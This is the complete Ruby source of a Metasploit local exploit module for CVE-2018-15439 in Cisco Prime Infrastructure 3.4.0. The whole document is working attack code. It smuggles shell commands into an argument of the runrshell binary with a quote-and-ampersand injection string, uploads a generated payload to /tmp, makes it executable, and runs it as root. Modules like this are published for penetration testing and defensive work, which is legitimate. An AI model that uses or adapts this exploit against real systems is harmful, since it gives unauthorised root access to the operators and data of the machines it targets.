Cisco Prime Infrastructure Runrshell Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cisco Prime Infrastructure Runrshell Privilege Escalation',
        'Description' => %q{
          This modules exploits a vulnerability in Cisco Prime Infrastructure's runrshell binary. The
          runrshell binary is meant to execute a shell script as root, but can be abused to inject
          extra commands in the argument, allowing you to execute anything as root.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Pedro Ribeiro <pedrib[at]gmail.com>', # First discovery
          'sinn3r' # Metasploit module
        ],
        'Platform' => ['linux'],
        'Arch' => [ARCH_X86, ARCH_X64],
        'SessionTypes' => ['shell', 'meterpreter'],
        'DisclosureDate' => '2018-12-08',
        'Privileged' => true,
        'References' => [
          ['CVE', '2018-15439'],
          ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/cisco-prime-infrastructure.txt#L56'],
        ],
        'Targets' => [
          [ 'Cisco Prime Infrastructure 3.4.0', {} ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_advanced_options [
      OptString.new('WritableDir', [true, 'A directory where we can write the payload', '/tmp'])
    ]
  end

  def exec_as_root(cmd)
    command_string = "/opt/CSCOlumos/bin/runrshell '\" && #{cmd} #'"
    vprint_status(cmd_exec(command_string))
  end

  def exploit
    payload_name = "#{Rex::Text.rand_text_alpha(10)}.bin"
    exe_path = Rex::FileUtils.normalize_unix_path(datastore['WritableDir'], payload_name)
    print_status("Uploading #{exe_path}")
    write_file(exe_path, generate_payload_exe)
    unless file?(exe_path)
      print_error("Failed to upload #{exe_path}")
      return
    end

    register_file_for_cleanup(exe_path)
    print_status('chmod the file with +x')
    exec_as_root("/bin/chmod +x #{exe_path}")
    print_status("Executing #{exe_path}")
    exec_as_root(exe_path)
  end
end